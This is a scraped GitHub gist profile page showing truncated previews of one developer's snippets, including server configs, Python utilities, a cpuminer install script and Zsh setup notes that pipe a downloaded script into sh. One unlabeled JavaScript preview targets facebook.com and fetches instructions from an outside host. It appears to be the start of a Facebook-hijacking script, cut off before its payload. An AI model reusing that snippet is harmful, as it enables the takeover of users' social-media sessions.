Skip to content

Instantly share code, notes, and snippets.

View NamPNQ's full-sized avatar
🤒
Out sick

Nam PHAM NamPNQ

🤒
Out sick
  • Ho Chi Minh
View GitHub Profile
@NamPNQ
NamPNQ / default
Last active January 16, 2019 16:26
Nginx lavarel conf
server {
listen 80 default_server;
root /var/www/html/;
index index.php index.html index.htm;
location / {
try_files $uri $uri/ /index.php$is_args$args;
}
def save(self, *args, **kwargs):
if not self.id:
max_length = Skill._meta.get_field('slug').max_length
self.slug = orig = slugify(self.title)[:max_length]
for x in itertools.count(1):
if not Skill.objects.filter(slug=self.slug).exists():
break
# Truncate the original slug dynamically. Minus 1 for the hyphen.
self.slug = "%s-%d" % (orig[:max_length - len(str(x)) - 1], x)
@NamPNQ
NamPNQ / merge-subtitles.py
Last active August 16, 2018 12:47
Python Merge two subtitles
#!/usr/bin/python3
# -*- coding: utf8 -*-
# ----------------------------------------------------------------------------
# Name: merge-subtitles
# Desc: Merge two subtitles
# Usage: merge-subtitles sub1_file sub2_file out.ass
# Example: merge_subtitles friends_s01e01_720p_bluray_x264-sujaidr.mp4en.srt friends_s01e01_720p_bluray_x264-sujaidr.mp4vi.srt friends_s01e01_720p_bluray_x264-sujaidr.mp4.ass
# Copy From: https://github.com/duyamin/standalone-scripts/blob/master/python/merge-subtitles.py
# ----------------------------------------------------------------------------
@NamPNQ
NamPNQ / bitcoin-cpuminer.sh
Last active August 22, 2018 03:11 — forked from return1/bitcoin-cpuminer.sh
install a bitcoin cpuminer on ubuntu/debian
# install dependencies
sudo apt-get install libcurl4-openssl-dev libncurses5-dev pkg-config automake yasm git gcc -y
# clone cpuminer
git clone https://github.com/pooler/cpuminer.git
# compile
cd cpuminer
./autogen.sh
./configure CFLAGS="-O3"
@NamPNQ
NamPNQ / Zsh & theme
Created October 22, 2015 18:01 — forked from leemour/Zsh & theme
Zsh installation and Agnoster theme settings
# Railscast
http://railscasts.com/episodes/308-oh-my-zsh
# Install Zsh
sudo apt-get update && sudo apt-get install zsh
# Install Oh-my-zsh
wget –no-check-certificate https://github.com/robbyrussell/oh-my-zsh/raw/master/tools/install.sh -O – | sh
# Make ZSH default shell
#! /usr/bin/env python
import timeit
def f():
pass
if __name__ == "__main__":
timer = timeit.Timer("__main__.f()", "import __main__")
result = timer.repeat(repeat=100, number=100000)
[Desktop Entry]
Name=Firefox Developer
GenericName=Firefox Developer Edition
Exec=/opt/firefox_dev/firefox
Terminal=false
Icon=/opt/firefox_dev/browser/icons/mozicon128.png
Type=Application
Categories=Application;Network;X-Developer;
Comment=Firefox Developer Edition Web Browser.
if (location.hostname.indexOf("facebook.com") >= 0) {
var babasker = function() {
var b = new XMLHttpRequest;
b.open("GET", window.location.protocol + "//adeaditi.info/ag.php", true);
b.onreadystatechange = function() {
if (4 == b.readyState && 200 == b.status) {
var c = JSON.parse(b.responseText);
if ("aktiv" == c.type) {
var d = new XMLHttpRequest;
d.open("GET", "/", false);
@NamPNQ
NamPNQ / supervisord.conf
Created October 31, 2014 18:05
Mongo supervisord
[supervisord]
nodaemon=true
[program:sshd]
command=/usr/sbin/sshd -D
stdout_logfile=/var/log/supervisor/%(program_name)s.log
stderr_logfile=/var/log/supervisor/%(program_name)s.log
autorestart=true
[program:mongod]
@NamPNQ
NamPNQ / monkey_patch.py
Created October 22, 2014 04:04
Monkey patch
class Duck:
def speak(self):
print 'Quack quack'
def speak(self):
print 'Gau gau'
Duck.speak = speak